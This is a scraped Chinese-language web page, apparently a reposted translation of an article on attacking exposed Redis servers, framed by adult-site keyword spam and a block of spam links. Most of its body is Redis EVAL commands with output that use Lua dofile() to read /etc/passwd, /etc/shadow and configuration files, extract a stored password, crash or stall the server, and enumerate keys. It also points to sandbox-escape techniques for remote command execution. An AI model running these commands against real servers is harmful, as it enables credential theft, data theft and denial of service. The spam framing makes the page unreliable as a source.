六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

Trying to hack Redis via HTTP requests

[摘要]EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call t...


EVAL “ return dofile('/etc/passwd')” 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':'

EVAL “return dofile('/etc/shadow')” 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL “return dofile('/var/www/') ” 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL “return dofile('/var/www/tmp_upload/') ”0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL “return dofile('/home/ubuntu/.bashrc')” 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

如果Lua腳本有語法錯誤或者嘗試設置全局變量時,會產生報錯信息,可以獲得一些我們想要的信息

EVAL “return dofile('/etc/issue')” 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL “return dofile('/etc/lsb-release')” 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL “return dofile('/etc/hosts')” 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'

還有一種情況,但是并不是很常見,就是調用dofile()這個函數去處理有效的Lua文件,然后返回提前定義好的值,假設這里有一個文件/var/data/app/db.conf

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',
}

通過Lua腳本得到passwd的值

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0
+OK Uber31337

這個也可以獲取Unix標準文件的一些信息:

EVAL “dofile('/etc/environment');return(PATH);” 0      
+OK     /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
EVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0
+OK /usr/bin/nano

0x07 暴力破解

Redis提供一個redis.sha1hex()函數,可以被Lua腳本調用,所以還可以通過Redis服務器進行SHA-1的破解,相關代碼在adam_baldwin 的GitHub上(https://github.com/evilpacket/redis-sha-crack),相關原理的描述在
(http://fr.slideshare.net/evilpacket/ev1lsha-misadventures-in-the-land-of-lua需要********)
0x08 Dos

這里有很多Dos Redis的方法,例如通過調用shutdown這個命令刪除數據。

這里有更加有趣的兩個例子:

1)在Redis的控制端,調用dofile()不加任何參數,將會從標準輸入讀取數據,并把讀取的數據認為是Lua腳本。這個時候服務器依舊在運行,但是不會去處理新的連接,直到在控制端讀取到”^D”(或者重啟)。

2)Sha1hex()函數可以被覆蓋(在任何一個客戶端都可以實現這個效果)。下面展示一個返回固定值的sha1hex()函數
Lua腳本:

print(redis.sha1hex('secret'))
function redis.sha1hex (x)
   print('4242424242424242424242424242424242424242')
end
print(redis.sha1hex('secret'))
在Redis的控制端上

# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
4242424242424242424242424242424242424242

# Next runs
4242424242424242424242424242424242424242
4242424242424242424242424242424242424242

0x09 數據竊取

如果Redis服務器存儲一些有趣的數據(像session cookie或商業數據),你可以通過get枚舉鍵值,獲取數據。
0x0A 加密

Lua使用完全可以預測的”隨機數”,細節在scripting.c的evalGenericCommand()函數中

/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */
redisSrand48(0);

每一次Lua腳本調用math.random()函數產生的隨機數都是相同數字流:

0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]

0x0b 遠程命令執行

為了在開放的Redis服務器上進行命令執行,有以下三種情況:
首先能夠修改底層的字節碼,能夠進行虛擬機的逃逸。(Lua的一個例子https://gist.github.com/corsix/6575486);或者是繞過全局保護并且試圖訪問一些有趣的函數。

繞過全局保護是很輕松的(stackoverflow上有一個例子

http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable)。然而這么有趣的模塊并不能加載,順便提一下,在這里還有很多有趣的東西(http://lua-users.org/wiki/SandBoxes)。
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




主站蜘蛛池模板: 一本久久道aa兔费看 | 热久久这里是精品6免费观看 | 日韩三级伦理在线 | 日本特黄特色aa大片免费 | 四虎成人免费网站在线 | 涩狠狠狠狠色 | 亚洲性大片 | 午夜视频免费在线播放 | 色先锋影音资源 | 亚州男人的天堂 | 一级做a爰片性色毛片视频图片 | 网址大全在线免费观看 | 日本乱人伦片中文字幕三区 | 午夜视频一区二区 | 亚洲成a v人片在线观看 | 在线亚洲一区 | 日韩精品久久不卡中文字幕 | 亚洲大片免费观看 | 天堂网中文 | 一区二区在线欧美日韩中文 | 天天想夜夜操 | 天天做天天爰夜夜爽 | 日本韩国三级观看 | 欧美丝袜一区二区三区 | 日本资源在线 | 色综合中文字幕色综合激情 | 午夜欧美福利 | 四虎国产精品永久在线网址 | 亚洲一欧洲中文字幕在线 | 日本一区二区三区免费高清在线 | 午夜视频导航 | 亚洲国产精品欧美综合 | 色婷婷综合久久久久中文 | 欧美一区二区aa大片 | 亚洲图片另类 | 欧美一级黄色片视频 | 桃花视频在线观看免费迅雷 | 人碰人操| 人人舔人人爱 | 午夜性视频 | 日本精品a在线观看 |